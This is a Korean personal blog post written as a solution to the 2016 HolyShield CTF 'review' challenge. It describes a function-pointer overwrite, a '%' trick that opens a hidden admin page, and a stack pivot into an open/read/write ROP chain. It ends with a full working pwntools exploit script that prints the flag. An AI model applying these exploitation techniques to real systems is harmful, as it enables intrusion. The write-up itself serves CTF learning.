2016 holyshield review
by St1tch저번 holyshield대회 때 못 푼 review 문제를 풀어보았다.
우선 취약한 부분은 비교적 쉽게 찾을 수 있다.

fuck+44와 fuck+48에는 보이드함수가 존재한다.
밑줄부분에서 fuck+30부분에 최대 100바이트를 쓸 수 있다.
따라서 보이드함수 부분을 overwrite 할 수 있다.
이 보이드함수들은 언제 호출 되는지 살펴 보았다.

admin page가 존재한다.
이 함수 내에서, 보이스 함수가 실행된다.
근데 이 admin page에 접속하기 위해서는 일반적인 입력으로는 들어오지못한다.

보면 입력이 0xFFFFFFF5가 되어야하는데 일반적인 입력으로는 이 값을 입력할 수 가없다.
근데 항상 입력을 하면 atoi같은 함수를 거치는데 당연이 atoi함수 인 줄 알았는데, 알고보니 조금의 트릭이 있었다.

이 함수를 보면 '%' 를 입력한 경우, admin page로 들어갈 수 있음을 알 수 있다.

이제 원하는 함수를 한번 호출 할 수 있는데,
main의 시작부분을 보면 chroot가 걸려 있음을 알 수있고, 헥스레이로는 보이지 않지만 "/flag" 문자열도 주어진다.
따라서 open->read->write로 rop 페이로드를 작성하면 된다.
rop는 esp를 +20해주면, password입력 한 부분에 ret할 수 있고,
여기서 xchg 가젯으로 esp를 힙 부분으로 바꾼 뒤,
open, read, write해주면 된다.
from pwn import * context.log_level = 'warn' s = process('./review') print 'pid =', util.proc.pidof(s) pause() def command(token, *args) : s.recvuntil(token) for i in args : i = str(i) s.sendline(i) fast = lambda token, *args: command(token, *args) ret = 0x80481b2 pop3ret = 0x804838c gadget = 0x08055799 #add esp, 8; pop ebx, esi, edi; ret gadget2 = 0x080d7218 #xchg edi, eax; xchg esp, eax open_ = 0x0806E250 read_ = 0x0806E2C0 flag = 0x080BF4A8 write_ = 0x0806E330 exit_ = 0x0804F5B0 bss = 0x80ecfb4 def solver() : p = log.progress('start...') fast('>', '1', 'stitch', '99') for i in range(99): p.status(str(i)) fast('>', 'Y', 'Y', 'Y') pay = 'a'*14 + p32(gadget) + 'b'*8 pay += ''.join(map(p32, (open_, pop3ret, flag, 0, 0644))) pay += ''.join(map(p32, (read_, pop3ret, 3, bss, 50))) pay += ''.join(map(p32, (write_, exit_, 1, bss, 50))) pay += 'x' * (100-len(pay)) fast('>', '3', '0', pay, '0') pay = p32(gadget2) pay += 'a'*8 fast('>', '%', pay) s.recvuntil('admin...', drop=True) print s.recvall().strip('\x00') if __name__ == '__main__' : solver()
ㅇㅅㅇ. 잘된다.
블로그의 정보
튜기's blogg(st1tch)
St1tch